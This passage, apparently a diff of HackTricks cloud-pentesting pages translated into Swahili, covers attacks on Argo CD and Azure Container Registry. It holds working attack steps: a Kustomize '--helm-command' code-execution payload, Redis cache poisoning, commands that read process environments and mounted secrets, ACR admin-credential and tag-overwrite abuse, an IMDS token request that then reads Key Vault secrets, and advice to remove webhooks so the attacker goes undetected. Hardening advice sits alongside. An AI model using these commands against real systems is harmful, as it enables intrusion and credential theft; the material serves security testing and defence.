custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` -## Matumizi mabaya ya moja kwa moja ya `argocd-repo-server` +## Abuse ya moja kwa moja ya `argocd-repo-server` -Usidhani API ya umma ya Argo CD ndiyo tu attack surface. Vipengele vya ndani vya Argo CD huwasiliana na `argocd-repo-server` kupitia gRPC. Ikiwa pods za ndani zinaweza kufikia repo-server, maombi ya ndani yanayodhibitiwa na attacker yanaweza bypass checks ambazo kawaida hutekelezwa na `argocd-server`. +Usidhani kuwa Argo CD API ya umma ndiyo attack surface pekee. Vipengele vya ndani vya Argo CD huwasiliana na `argocd-repo-server` kupitia gRPC. Ikiwa pods holela zinaweza kufikia repo-server, requests za ndani zinazodhibitiwa na attacker zinaweza kukwepa ukaguzi unaotekelezwa kwa kawaida na `argocd-server`. Ukaguzi wa vitendo: ```bash @@ -92,22 +92,22 @@ kubectl get svc -n argocd argocd-repo-server -o yaml kubectl get endpoints -n argocd argocd-repo-server -o wide nc -vz 8081 ``` -Taarifa za kuvutia: +Dalili muhimu: -- Endpoint ya gRPC ya repo-server inafikiwa kutoka pods zisizo za Argo CD. -- NetworkPolicies hazipo au zinaruhusu tu egress kwa allow-list bila kuzuia ingress. -- repo-server ina access kwa custom config management plugins, decryption tools, au repository content kutoka kwa tenants wengi. -- Redis inafikiwa kutoka kwa pods zisizo za Argo CD, ikiruhusu inspection ya cache au tampering ikiwa credentials zinapatikana au hazihitajiki. +- Endpoint ya gRPC ya repo-server inafikika kutoka kwa pods zisizo za Argo CD. +- NetworkPolicies hazipo, au zinaruhusu tu egress bila kuzuia ingress. +- Repo-server ina ufikiaji wa custom config management plugins, zana za decryption, au maudhui ya repository kutoka kwa tenants wengi. +- Redis inafikika kutoka kwa pods zisizo za Argo CD, hivyo kuruhusu ukaguzi au tampering ya cache ikiwa credentials zinapatikana au hazihitajiki. ## Unauthenticated Repo-Server RCE via Kustomize Options -Mnamo Julai 2026, Synacktiv ilifichua chain ya code execution isiyo na authentication katika `repo-server` ya Argo CD wakati mshambuliaji anaweza kufikia internal gRPC service. Shambulio linatumia direct access kwa `/repository.RepoServerService/GenerateManifest` na `KustomizeOptions` zinazodhibitiwa na mshambuliaji. +Mnamo Julai 2026, Synacktiv ilifichua code execution chain isiyohitaji authentication katika `repo-server` ya Argo CD, wakati mshambuliaji anaweza kufikia internal gRPC service. Shambulio hili hutumia vibaya ufikiaji wa moja kwa moja wa `/repository.RepoServerService/GenerateManifest` pamoja na `KustomizeOptions` zinazodhibitiwa na mshambuliaji. -Primitive hatari ni kulazimisha repo-server ku-clone attacker-controlled repository content na kuendesha Kustomize na Helm support: +Primitive hatari ni kulazimisha repo-server ku-clone maudhui ya repository yanayodhibitiwa na mshambuliaji na kuendesha Kustomize ikiwa na support ya Helm: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Ingizo la Kustomize lenye uovu la chini kabisa linahitajika ili kuchochea usindikaji wa Helm: +Input ndogo hasidi ya Kustomize inahitaji kuchochea uchakataji wa Helm: ```yaml helmCharts: - name: pwn @@ -115,80 +115,80 @@ version: 0.0.1 ``` Kwa nini hii inafanya kazi: -- `argocd-repo-server` hu-clone repository kabla ya rendering. -- `--helm-command ./payload.sh` hutatuliwa relative to the cloned repository. -- Code execution haihitaji shell metacharacter injection ikiwa attacker anaweza kudhibiti repository iliyorerenderiwa na Kustomize build options. +- `argocd-repo-server` hu-clone repository kabla ya ku-render. +- `--helm-command ./payload.sh` hutatuliwa ikiwa relative kwa repository iliy-clone. +- Code execution haihitaji shell metacharacter injection ikiwa attacker anaweza kudhibiti repository iliy-render na chaguo za Kustomize build. -Wakati wa disclosure ya Synacktiv ya July 1, 2026, waliripoti kwamba issue hiyo haikuwa na fix rasmi wala CVE. Chukulia hili kwanza kama issue ya network-exposure: exploitation inahitaji reachability kwa internal repo-server gRPC port. +Wakati wa disclosure ya Synacktiv ya Julai 1, 2026, waliripoti kwamba issue hiyo haikuwa na official fix wala CVE. Ichukulie kwanza kama issue ya network exposure: exploitation inahitaji kufikika kwa internal repo-server gRPC port. -## Redis Cache Poisoning to Deploy Manifests +## Redis Cache Poisoning ya Ku-deploy Manifests -Baada ya code execution katika `argocd-repo-server`, au baada ya direct access kwa Redis na valid credentials, kagua Redis-backed cache entries. Argo CD kwa kawaida huhifadhi gzip-compressed JSON values. +Baada ya code execution katika `argocd-repo-server`, au baada ya kupata direct access kwa Redis kwa valid credentials, kagua cache entries zinazotumia Redis. Argo CD kwa kawaida huhifadhi values za JSON zilizobanwa kwa gzip. -Interesting key prefixes: +Key prefixes zinazovutia: ```text mfst|... # cached rendered manifests git-refs|... # Git branch/ref to commit mappings app|... # application resource/cache data cluster|... # cluster cache information ``` -Shambulio la cache poisoning lililoelezewa na Synacktiv linatumia vipande viwili vya state: +The cache poisoning attack iliyoelezwa na Synacktiv hutumia sehemu mbili za state: -1. Rekebisha entry ya cache ya manifest ya `mfst|...` husika ili ijumuishe Kubernetes manifest inayodhibitiwa na mshambuliaji. -2. Rekebisha mapping ya `git-refs|...` husika ili Argo CD iamini kuwa branch imehamia na kisha ifanye reconcile kurudi kwenye cached revision. +1. Rekebisha cache entry husika ya `mfst|...` ili ijumuishwe Kubernetes manifest inayodhibitiwa na attacker. +2. Rekebisha mapping inayohusiana ya `git-refs|...` ili Argo CD iamini kuwa branch imehamishwa, kisha ifanye reconcile kurudi kwenye revision iliyo kwenye cache. Impact: -- Ikiwa Auto Sync imewezeshwa, Argo CD inaweza kutumia poisoned cached manifest kiotomatiki. -- Bila Auto Sync, payload bado inaweza kutumika wakati user anasynchronise application kwa mkono. -- Impact ya mwisho inazuiliwa na destination ya application lengwa na Kubernetes permissions zinazopatikana kwa Argo CD. +- Auto Sync ikiwa imewashwa, Argo CD inaweza kutumia poisoned cached manifest automatically. +- Bila Auto Sync, payload bado inaweza kutumika wakati user anafanya sync ya application manually. +- Impact ya mwisho inawekewa kikomo na destination ya target application pamoja na Kubernetes permissions zinazopatikana kwa Argo CD. ## ApplicationSet Attacks -ApplicationSet ni nyeti hasa kwa sababu huunda au husasisha `Application` objects kutoka kwenye output ya generator. +ApplicationSet ni nyeti hasa kwa sababu huunda au kusasisha `Application` objects kutokana na generator output. Review: ```bash kubectl get applicationsets.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml ``` -Mitindo ya kuvutia: +Mifumo ya kuvutia: -- Git generators zinazosoma faili zinazoweza kuandikwa na mshambuliaji ambazo hudhibiti majina ya app, paths, projects au destinations. -- Pull request generators kwa public repositories ambapo contributors wasioaminika wanaweza kuathiri applications zinazozalishwa. -- Template fields zinazoruhusu broad destination clusters/namespaces. -- AppProjects zinazoruhusu `sourceRepos: ["*"]` au broad `destinations`. -- Generated applications zinazorithi automated sync na pruning. +- Git generators zinazosoma files zinazoweza kuandikwa na attacker, zinazodhibiti majina ya apps, paths, projects au destinations. +- Pull request generators za public repositories ambapo contributors wasioaminika wanaweza kushawishi applications zinazozalishwa. +- Template fields zinazoruhusu destination clusters/namespaces pana. +- AppProjects zinazoruhusu `sourceRepos: ["*"]` au `destinations` pana. +- Applications zinazozalishwa ambazo hurithi automated sync na pruning. ## Post-Exploitation -Kutoka kwenye Argo CD pod shell, prioritize: +Kutoka kwenye pod shell ya Argo CD, prioritise: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' find /var/run/secrets /app/config -type f -maxdepth 4 2>/dev/null mount | grep -E 'secret|token|config' ``` -Madhumuni muhimu: +Malengo muhimu: -- Iiba `REDIS_PASSWORD` au Redis TLS/client material. -- Toa repository credentials kutoka kwenye mounted secrets au Argo CD Kubernetes secrets. -- Tambua cluster credentials zinazotumiwa na Argo CD. -- Soma generated manifests na plugin output ambazo zinaweza kuwa na injected secrets. -- Angalia kama custom plugins, SOPS, Helm secrets, Vault plugins au cloud CLIs zinafichua decryption keys na cloud credentials. +- Kuiba `REDIS_PASSWORD` au TLS/client material ya Redis. +- Kutoa repository credentials kutoka kwenye secrets zilizomountiwa au Argo CD Kubernetes secrets. +- Kutambua cluster credentials zinazotumiwa na Argo CD. +- Kusoma generated manifests na plugin output ambazo zinaweza kujumuisha injected secrets. +- Kuangalia kama custom plugins, SOPS, Helm secrets, Vault plugins au cloud CLIs zinafichua decryption keys na cloud credentials. ## Detection & Hardening Ukaguzi muhimu: -- Zuia `argocd-repo-server` port **8081** na Redis port **6379** kwa kutumia NetworkPolicies ili ni Argo CD components zinazotarajiwa pekee ziweze kuifikia. -- Katika Helm deployments, hakikisha network policies zinaundwa kweli. Argo CD Helm chart values kihistoria zilikuwa na default ya component network policy creation kuwa disabled. -- Weka `argocd-server` kama authenticated entry point. Internal services hazipaswi kufikiwa na arbitrary workloads. -- Zima unused config management tools na plugins. +- Zuia `argocd-repo-server` port **8081** na Redis port **6379** kwa kutumia NetworkPolicies, ili vipengele vya Argo CD vinavyotarajiwa pekee viweze kuzifikia. +- Katika Helm deployments, thibitisha kuwa network policies zinaundwa kweli. Argo CD Helm chart values kihistoria zimeweka component network policy creation kuwa disabled kwa default. +- Weka `argocd-server` kama authenticated entry point. Internal services hazipaswi kufikiwa kutoka kwa arbitrary workloads. +- Zima config management tools na plugins zisizotumika. - Zuia `AppProject` `sourceRepos`, `destinations`, namespace permissions na cluster-scoped resources. - Epuka kuhifadhi broad repository credentials mahali ambapo Argo CD user mwenye low privilege anaweza kusababisha zitumike tena. -- Fuatilia repo-server requests, Kustomize build options, plugin executions, Redis writes na unexpected access kwenye `mfst|` / `git-refs|` keys. -- Rotate Argo CD local users, project tokens, repository credentials na cluster credentials baada ya compromise. +- Fuatilia repo-server requests, Kustomize build options, plugin executions, Redis writes na access isiyotarajiwa kwa keys za `mfst|` / `git-refs|`. +- Badilisha Argo CD local users, project tokens, repository credentials na cluster credentials baada ya compromise. Useful commands: ```bash @@ -197,17 +197,17 @@ kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Kumbuka ya Static Analysis: Typed API Requests katika CodeQL +## Dokezo la Static Analysis: Typed API Requests katika CodeQL -Kwa Go services zinazotumia gRPC/REST handlers, default CodeQL remote sources zinaweza kukosa flows mara raw input inapokuwa imeshafanywa unmarshal kuwa typed request objects. Mfano unaofaa kwa huduma za Argo CD-style ni: +Kwa Go services zinazotumia gRPC/REST handlers, default CodeQL remote sources zinaweza kukosa flows baada ya raw input ku-unmarshaled kuwa typed request objects. Model muhimu kwa services za mtindo wa Argo CD ni: -- Receiver type kama `Server` au `Service`. -- Kigezo cha kwanza ni `context.Context`. -- Kigezo cha pili ni typed request object. +- Receiver type kama vile `Server` au `Service`. +- Parameter ya kwanza ni `context.Context`. +- Parameter ya pili ni typed request object. -Model hiyo kigezo cha pili kama remote source na ongeza custom sinks kwa argument za `exec.Command` / `exec.CommandContext`. Hii husaidia kupata flows kutoka kwenye internal API request fields kwenda kwenye command execution helpers. +Model parameter hiyo ya pili kama remote source na ongeza custom sinks kwa arguments za `exec.Command` / `exec.CommandContext`. Hii husaidia kupata flows kutoka internal API request fields kwenda kwa command execution helpers. -## References +## Marejeo - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) - [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) @@ -217,3 +217,4 @@ Model hiyo kigezo cha pili kama remote source na ongeza custom sinks kwa argumen - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..7a7376443 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Post Exploitation ya Az - Container Registry + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Kwa maelezo zaidi kuhusu service hii angalia: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +Identity yenye ufikiaji wa ACR management-plane inaweza kubadilisha ufikiaji huo kuwa **reusable Docker credentials**. Ikiwa **admin user** imezimwa lakini principal pia ina `registries/write`, iwezeshe, pata passwords, na authenticate moja kwa moja dhidi ya `.azurecr.io`. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +Hii ni muhimu kwa sababu credentials zilizopatikana zinaweza kutumika tena nje ya Azure CLI ili **list, pull, push, overwrite, na wakati mwingine delete** maudhui ya registry hadi account ya admin izimwe au passwords zibadilishwe. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +Tumia pull access kwa ajili ya **repository reconnaissance** na **secret hunting** ndani ya images. Kagua configuration ya mwisho ya container pamoja na filesystem layers za kihistoria, kwa sababu files zilizonakiliwa kwenye layer moja zinaweza kubaki zikipatikana tena hata kama zilifutwa baadaye. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +Malengo yenye thamani kubwa yanajumuisha **environment variables**, **application configs**, **deployment scripts**, **certificates**, **access tokens**, na **connection strings**. Kwa mawazo zaidi unapokagua layers, angalia ukurasa wa Docker forensics: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +Push access humruhusu mshambuliaji **kuchafua trusted repositories** au **kuandika upya mutable tags** kama vile `latest`, `prod`, au `stable`. Workload yoyote ambayo bado inafanya deployment kwa kutumia tag badala ya digest inaweza kupakua image ya mshambuliaji wakati wa deployment inayofuata, tukio la scale-out, au restart. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +Kabla ya kubadilisha tag, thibitisha ni repositories na tags zipi zinatumiwa na downstream workloads. Consumers waliowekwa **Digest-pinned** (`@sha256:...`) ni vigumu zaidi ku-redirect kuliko consumers wanaotumia tag. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +Ikiwa unaweza **kubadilisha image** inayotumiwa na downstream container workload na **ku-restart** workload hiyo, entrypoint hasidi itatekelezwa ndani ya **network na managed identity context** ya target container. Kutoka hapo, image inaweza kuomba tokens kutoka IMDS na kufikia Azure resources zinazoweza kufikiwa na workload identity hiyo. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +Hii inabadilisha ACR tag overwrite kuwa **code execution**, **secret theft**, au **lateral movement** ndani ya container consumer yoyote inayoamini tag iliyobadilishwa na kufichua identity yenye manufaa. + +### Related privesc path: ACR Tasks managed identities + +Ikiwa pia una `Microsoft.ContainerRegistry/registries/tasks/write` na `Microsoft.ContainerRegistry/registries/runs/write`, nenda kwenye ACR privesc path na abuse managed identity ya task moja kwa moja: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## References + +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 54ad636c1..6680ecc16 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Maelezo ya Msingi -Azure Container Registry (ACR) ni registry salama ya faragha inayokuruhusu **kuhifadhi, kusimamia, na kufikia container images katika Azure cloud**. Inaunganishwa kwa urahisi na huduma kadhaa za Azure, ikitoa automated build na deployment workflows kwa kiwango kikubwa. Kwa vipengele kama geo-replication na vulnerability scanning, ACR husaidia kuhakikisha security na compliance ya kiwango cha enterprise kwa applications zilizowekwa kwenye containers. +Azure Container Registry (ACR) ni registry salama na ya faragha inayokuruhusu **kuhifadhi, kudhibiti, na kufikia container images katika Azure cloud**. Inaunganishwa bila matatizo na Azure services kadhaa, ikitoa workflows za automated build na deployment kwa kiwango kikubwa. Ikiwa na vipengele kama geo-replication na vulnerability scanning, ACR husaidia kuhakikisha usalama na compliance ya kiwango cha enterprise kwa applications zilizo kwenye containers. -### Permissions +### Ruhusa -Hizi ndizo **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) ambazo zinaweza kutolewa kwa Container Registry: +Hizi ndizo **ruhusa mbalimbali** [kulingana na docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) zinazoweza kutolewa kwenye Container Registry: -- Access Resource Manager +- Fikia Resource Manager - Create/delete registry - Push image - Pull image @@ -18,23 +18,23 @@ Hizi ndizo **different permissions** [according to the docs](https://learn.micro - Change policies - Sign images -Pia kuna baadhi ya **built-in roles** ambazo zinaweza kupewa, na pia inawezekana kuunda **custom roles**. +Pia kuna baadhi ya **built-in roles** zinazoweza kupewa, na inawezekana pia kuunda **custom roles**. ![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) ### Authentication > [!WARNING] -> Ni muhimu sana kwamba hata kama jina la registry lina herufi kubwa, unapaswa daima kutumia **herufi ndogo** ku-login, push na pull images. +> Ni muhimu sana kwamba hata kama jina la registry lina herufi kubwa, unapaswa kutumia **herufi ndogo** kila wakati ku-login, kusukuma na kuvuta images. -Kuna njia 4 za ku-authenticate kwenye ACR: +Kuna njia 4 za kufanya authentication kwenye ACR: -- **With Entra ID**: Hii ndiyo njia ya **default** ya ku-authenticate kwenye ACR. Hutumia amri ya **`az acr login`** ku-authenticate kwenye ACR. Amri hii itahifadhi **credentials** kwenye faili **`~/.docker/config.json`**. Zaidi ya hayo, ikiwa unaendesha amri hii kutoka mazingira bila access ya docker socket kama kwenye **cloud shell**, inawezekana kutumia flag **`--expose-token`** kupata **token** ya ku-authenticate kwenye ACR. Kisha ili ku-authenticate unahitaji kutumia kama user name `00000000-0000-0000-0000-000000000000` kama hii: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **With an admin account**: Admin user imezimwa kwa default lakini inaweza kuwezeshwa na kisha itawezekana kufikia registry kwa kutumia **username** na **password** ya admin account yenye permissions kamili kwenye registry. Bado inasaidiwa kwa sababu baadhi ya huduma za Azure huitumia. Kumbuka kwamba **2 passwords** zinaundwa kwa user huyu na zote ni valid. Unaweza kuiwezesha kwa `az acr update -n --admin-enabled true`. Kumbuka kwamba username huwa kawaida ni jina la registry (na si `admin`). -- **With a token**: Inawezekana kuunda **token** yenye **specific `scope map`** (permissions) ili kufikia registry. Kisha, inawezekana kutumia jina la token kama username na yoyote ya passwords zilizozalishwa ili ku-authenticate kwenye registry kwa `docker login -u -p ` -- **With a Service Principal**: Inawezekana kuunda **service principal** na kuassign role kama **`AcrPull`** ili pull images. Kisha, itawezekana **kufanya login to the registry** ukitumia SP appId kama username na generated secret kama password. +- **Kwa Entra ID**: Hii ndiyo njia ya **default** ya kufanya authentication kwenye ACR. Inatumia command ya **`az acr login`** kufanya authentication kwenye ACR. Command hii **itaweka credentials** kwenye file ya **`~/.docker/config.json`**. Zaidi ya hayo, ikiwa unaendesha command hii kutoka kwenye environment isiyoweza kufikia docker socket kama katika **cloud shell**, inawezekana kutumia flag ya **`--expose-token`** kupata **token** ya kufanya authentication kwenye ACR. Kisha kufanya authentication unahitaji kutumia `00000000-0000-0000-0000-000000000000` kama username, kama hivi: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Kwa admin account**: Admin user amezimwa kwa default, lakini anaweza kuwashwa na kisha itawezekana kufikia registry kwa kutumia **username** na **password** ya admin account yenye permissions kamili kwenye registry. Hii bado inaungwa mkono kwa sababu baadhi ya Azure services huitumia. Kumbuka kwamba **password 2** zinaundwa kwa user huyu na zote ni halali. Unaweza kuiwasha kwa `az acr update -n --admin-enabled true`. Kumbuka kwamba username kwa kawaida ni jina la registry (na si `admin`). +- **Kwa token**: Inawezekana kuunda **token** yenye **`scope map`** (permissions) maalum ya kufikia registry. Kisha, inawezekana kutumia jina la token kama username na mojawapo ya passwords zilizoundwa kufanya authentication kwenye registry kwa `docker login -u -p ` +- **Kwa Service Principal**: Inawezekana kuunda **service principal** na kumpa role kama **`AcrPull`** ili kuvuta images. Kisha, itawezekana **ku-login kwenye registry** kwa kutumia appId ya SP kama username na secret iliyoundwa kama password. -Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry: +Mfano wa script kutoka kwenye [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) wa kuunda SP yenye access kwenye registry: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD" ``` ### Encryption -Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts. +Ni **Premium SKU** pekee inayotumia **encryption at rest** kwa images na artifacts nyingine. ### Networking -Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `.azurecr.io` and a private endpoint has the format `.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure. +Ni **Premium SKU** pekee inayotumia **private endpoints**. Nyingine zinatumia **public access** pekee. Endpoint ya umma ina muundo wa `.azurecr.io`, na endpoint ya binafsi ina muundo wa `.privatelink.azurecr.io`. Kwa sababu hii, jina la registry lazima liwe la kipekee katika Azure yote. ### Microsoft Defender for Cloud -This allows you to **scan the images** in the registry for **vulnerabilities**. +Hii hukuruhusu **kuchanganua images** kwenye registry ili kubaini **vulnerabilities**. ### Soft-delete -The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**. +Kipengele cha **soft-delete** hukuruhusu **kurejesha registry iliyofutwa** ndani ya idadi ya siku iliyoonyeshwa. Kipengele hiki **kimezimwa kwa default**. ### Webhooks -It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:\*' means events under repository 'foo'. +Inawezekana **kuunda webhooks** ndani ya registries. Katika webhook hii, ni lazima ubainishe URL ambayo **request itatumwa kila push au delete action inapotekelezwa**. Zaidi ya hayo, Webhooks zinaweza kubainisha scope inayoonyesha repositories (images) zitakazoathiriwa. Kwa mfano, `foo:*` inamaanisha events zilizo chini ya repository `foo`. -From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected. +Kwa mtazamo wa attacker, ni muhimu kuangalia hili **kabla ya kutekeleza action yoyote** kwenye registry, na kuliondoa kwa muda ikihitajika, ili kuepuka kugunduliwa. ### Connected registries -This basically allows to **mirror the images** from one registry to another one, usually located on-premises. +Hii kimsingi inaruhusu **ku-mirror images** kutoka registry moja hadi nyingine, ambayo kwa kawaida huwa kwenye on-premises. -It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry. +Ina modes 2: **ReadOnly** na **ReadWrite**. Katika ya kwanza, images **hu-pull** pekee kutoka source registry, na katika ya pili, images pia zinaweza **ku-push** kwenye source registry. -In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used. +Ili clients waweze kufikia registry kutoka Azure, **token** hutengenezwa connected registry inapotumiwa. ### Runs & Tasks -Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**. +Runs & Tasks huruhusu kutekeleza Azure actions zinazohusiana na containers, ambazo kwa kawaida ulihitaji kuzitekeleza locally au kwenye CI/CD pipeline. Kwa mfano, unaweza **ku-build, ku-push, na ku-run images kwenye registry**. -The easiest way to build and run a container is using a regular Run: +Njia rahisi zaidi ya ku-build na ku-run container ni kutumia Run ya kawaida: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -However, hiyo itasababisha runs ambazo hazivutii sana kutoka kwa mtazamo wa attackers kwa sababu hazina managed identity yoyote iliyoambatishwa kwao. +Hata hivyo, hilo litasababisha **runs** ambazo si za kuvutia sana kwa mtazamo wa attacker, kwa sababu hazina **managed identity** yoyote iliyoambatishwa. -Hata hivyo, **tasks** zinaweza kuwa na **system and user managed identity** iliyoambatishwa kwao. Hizi tasks ndizo muhimu ili **escalate privileges** ndani ya container. Katika sehemu ya privileges escalation inawezekana kuona jinsi ya kutumia tasks ili escalate privileges. +Hata hivyo, **tasks** zinaweza kuwa na **system and user managed identity** iliyoambatishwa. Hizo ndizo **tasks** zinazofaa kwa **escalate privileges** kwenye container. Katika sehemu ya privileges escalation inawezekana kuona jinsi ya kutumia tasks kwa ajili ya escalate privileges. ### Cache -Kipengele cha cache kinaruhusu **kupakua images kutoka kwa external repository** na kuhifadhi matoleo mapya kwenye registry. Kinahitaji kuwa na baadhi ya **credentials configured** kwa kuchagua credentials kutoka kwa Azure Vault. +Kipengele cha cache huruhusu **download images from an external repository** na kuhifadhi versions mpya kwenye registry. Kinahitaji kuwa na **credentials configured** kwa kuchagua credentials kutoka kwenye Azure Vault. -Hii ni ya kuvutia sana kutoka kwa mtazamo wa attacker kwa sababu inaruhusu **pivot to an external platform** ikiwa attacker ana permissions za kutosha kufikia credentials, **kupakua images kutoka kwa external repository** na configuring cache pia inaweza kutumika kama **persistence mechanism**. +Hili linavutia sana kwa mtazamo wa attacker kwa sababu humruhusu **pivot to an external platform** ikiwa attacker ana permissions za kutosha za kufikia credentials, na **download images from an external repository** pamoja na kusanidi cache kunaweza pia kutumiwa kama **persistence mechanism**. ## Enumeration > [!WARNING] -> Ni muhimu sana kwamba hata kama jina la registry lina baadhi ya herufi kubwa, unapaswa kutumia tu herufi ndogo kwenye url ili kuifikia. +> Ni muhimu sana kwamba hata kama jina la registry lina herufi kubwa, utumie herufi ndogo pekee kwenye URL ya kuifikia. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,18 +143,22 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## Ufikiaji Usioidhinishwa +## Ufikiaji Bila Uthibitishaji {{#ref}} ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## Kuongezwa kwa Haki & Baada ya Unyonyaji +## Privilege Escalation & Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + ## Marejeo - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)